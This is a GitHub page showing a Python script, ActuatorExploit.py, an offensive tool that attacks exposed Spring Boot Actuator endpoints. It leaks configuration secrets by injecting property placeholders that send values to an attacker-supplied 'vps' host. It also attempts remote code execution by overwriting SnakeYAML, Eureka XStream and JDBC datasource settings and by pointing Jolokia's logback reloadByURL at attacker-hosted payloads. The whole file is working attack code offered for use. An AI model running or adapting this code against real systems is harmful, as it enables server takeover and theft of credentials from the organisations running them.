-
Notifications
You must be signed in to change notification settings - Fork 24
/
ActuatorExploit.py
304 lines (240 loc) · 9.56 KB
/
ActuatorExploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
# coding: utf-8
# -**- Author: LFY -**-
import requests
import argparse
def post(target, data, path, version):
res = None
if version == 1:
try:
res = requests.post(target + path, data=data)
except Exception:
print("[-] " + path + " request failed!")
return
elif version == 2:
if data is None:
json = None
else:
(name, value), = data.items()
json = {
"name": name,
"value": value,
}
try:
res = requests.post(target + "/actuator" + path,
json=json)
except Exception:
print("[-] " + path + " request failed!")
return
else:
print("[-] Unknown version!")
return
return res
def check_env_and_refresh_exists(target, version):
res = post(target, {1: 1}, "/env", version)
if res is None or res.status_code == 405:
print("[-] Env 'POST' not supported, exploit failed!\n")
return False
res = post(target, None, "/refresh", version)
if res is None or res.status_code == 405:
print("[-] Refresh 'POST' not supported, exploit failed!\n")
return False
return True
def check_jolokia_exists(target, version):
if version == 1:
target = target + "/jolokia"
else:
target = target + "/actuator/jolokia"
res = requests.get(target)
if res.status_code == 404:
print("[-] Jolokia not exists!\n")
return False
return True
def check_mbean_exists(target, version, keywords):
if version == 1:
target = target + "/jolokia/list"
else:
target = target + "/actuator/jolokia/list"
res = requests.get(target)
for keyword in keywords:
if keyword not in res.text:
print(f"[-] MBean {keyword} not exist!")
return False
return True
class InfoLeaker(object):
def __init__(self, target, info, version, vps=""):
self.target = target
self.info = info
self.version = version
self.vps = vps
def get_by_jolokia(self):
print("[*] Get By Jolokia...")
if not check_jolokia_exists(self.target, self.version):
return
json = {
"mbean": "org.springframework.boot:name=SpringApplication,type=Admin",
"operation": "getProperty",
"type": "EXEC",
"arguments": [self.info]
}
if version == 1:
target = self.target + "/jolokia"
else:
target = self.target + "/actuator/jolokia"
res = requests.post(target, json=json)
if res is None:
print("[-] Exploit failed!\n")
return
print(res.text)
print("[+] Exploit success!\n")
def get_by_placeholder(self):
print("[*] Get By Placeholder...")
if not check_env_and_refresh_exists(self.target, self.version):
return
print("[+] Trying spring.cloud.bootstrap.location...")
data = {
"spring.cloud.bootstrap.location": "http://" + self.vps + "/?=${" + self.info + "}"
}
res = post(self.target, data, "/env", self.version)
if res is None or self.vps not in res.text:
print("[-] SnakeYAML exploit failed!")
print("[+] Trying eureka.client.serviceUrl.defaultZone...")
data = {
"eureka.client.serviceUrl.defaultZone": "http://" + self.vps + "/?=${" + self.info + "}"
}
res = post(self.target, data, "/env", self.version)
if res is None or self.vps not in res.text:
print("[-] Eureka exploit failed!")
post(self.target, None, "/refresh", self.version)
print("[+] Exploit completed!\n")
def get_by_heapdump(self):
print("[*] Get By Heapdump...")
if self.version == 1:
res = requests.get(self.target + "/heapdump")
elif self.version == 2:
res = requests.get(self.target + "/actuator/heapdump")
if res.status_code == 200:
print("[+] Target can be exploited!\n")
else:
print("[-] Heapdump not exists!\n")
class RceExp(object):
def __init__(self, target, version, vps=""):
self.target = target
self.version = version
self.vps = vps
def exp_spel(self):
pass
def exp_snakeYAML_and_eurekaXStream(self):
print("[*] Exp SnakeYAML And EurekaXStream...")
if not check_env_and_refresh_exists(self.target, self.version):
return
# spring-cloud-starter < 1.3.0.RELEASE
print("[+] Trying to overwrite spring.cloud.bootstrap.location...")
data = {
"spring.cloud.bootstrap.location": "http://" + self.vps + "/1.yml"
}
res = post(self.target, data, "/env", self.version)
if res is None or self.vps not in res.text:
print("[-] SnakeYAML exploit failed!")
# spring-cloud-starter-netflix-eureka-client < 1.8.7
print("[+] Trying to overwrite eureka.client.serviceUrl.defaultZone...")
data = {
"eureka.client.serviceUrl.defaultZone": self.vps + "/1"
}
res = post(self.target, data, "/env", self.version)
if res is None or self.vps not in res.text:
print("[-] EurekaXStream exploit failed!")
post(self.target, None, "/refresh", self.version)
print("[+] Exploit completed!\n")
def exp_jdbc_unser(self):
print("[*] Exp JDBC Unser...")
if not check_env_and_refresh_exists(self.target, self.version):
return
# mysql-connector-java 5/8
print("[+] Trying to overwrite spring.datasource.url...")
data = {
"spring.datasource.url": "jdbc:mysql://" + self.vps + "/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true"
}
res = post(self.target, data, "/env", self.version)
post(self.target, None, "/refresh", self.version)
if res is None or self.vps not in res.text:
print("[-] JDBC Unser exploit failed!\n")
return
print("[+] Try to trigger database operations manually!")
print("[+] Exploit success!\n")
def exp_jolokia_logback(self):
print("[*] Exp Jolokia Logback...")
if not check_jolokia_exists(self.target, self.version):
return
keywords = ["ch.qos.logback.classic.jmx.JMXConfigurator", "reloadByURL"]
if not check_mbean_exists(self.target, self.version, keywords):
return
print("[+] Target could be attacked!")
print("[+] Trying to reload {}'s logback.xml".format(self.vps))
# xml_addr = input(
# "[+] Input logback's xml server addr or n:") or "n"
# if xml_addr == "n":
# print("[+] Exploit completed!\n")
# return
xml_addr = self.vps
exp_url = "/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/" + xml_addr + "!/logback.xml"
if self.version == 1:
res = requests.get(self.target + exp_url)
elif self.version == 2:
res = requests.get(self.target + "/actuator" + exp_url)
# print(res.text)
if "\"status\":200" in res.text and xml_addr in res.text:
print("[+] Exploit success!\n")
else:
print("[-] Exploit failed! Exploit it manually!\n")
# elprocessor方式,无视jdk版本
def exp_jolokia_realm(self):
print("[*] Exp Jolokia Realm...")
if not check_jolokia_exists(self.target, self.version):
return
keywords = ["type=MBeanFactory", "createJNDIRealm"]
if not check_mbean_exists(self.target, self.version, keywords):
return
print("[+] Target could be attacked!")
print("[+] Use RR's exp to attack!\n")
def exp_h2(self):
print("[*] Exp H2 DB...")
if version == 1:
target = self.target + "/env"
else:
target = self.target + "/actuator/env"
res = requests.get(target)
if res.status_code == 404:
print("[-] Env not exists!\n")
return
if "h2database" in res.text:
print("[+] H2database exists! Exploit it manually!")
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", dest='target',
help="target url, like http://127.0.0.1")
parser.add_argument("-w", "--way", dest='way',
help="scan way, input leak/rce")
parser.add_argument("-v", "--version", dest='version',
help="sb version, input 1/2, 2 is /actuator/xxx")
parser.add_argument("-p", "--vps", dest='vps',
help="listener vps ip")
parser.add_argument("-i", "--info", dest='info',
help="info to leak", default="")
args = parser.parse_args()
target = args.target
info = args.info
version = int(args.version)
vps = args.vps
if args.way == "leak":
print("[*] Trying to leak info...\n")
leaker = InfoLeaker(target, info, version, vps)
leaker.get_by_placeholder()
leaker.get_by_jolokia()
leaker.get_by_heapdump()
elif args.way == "rce":
print("[*] Trying to RCE...\n")
rcechecker = RceExp(target, version, vps)
rcechecker.exp_snakeYAML_and_eurekaXStream()
rcechecker.exp_jolokia_logback()
rcechecker.exp_jolokia_realm()
rcechecker.exp_jdbc_unser()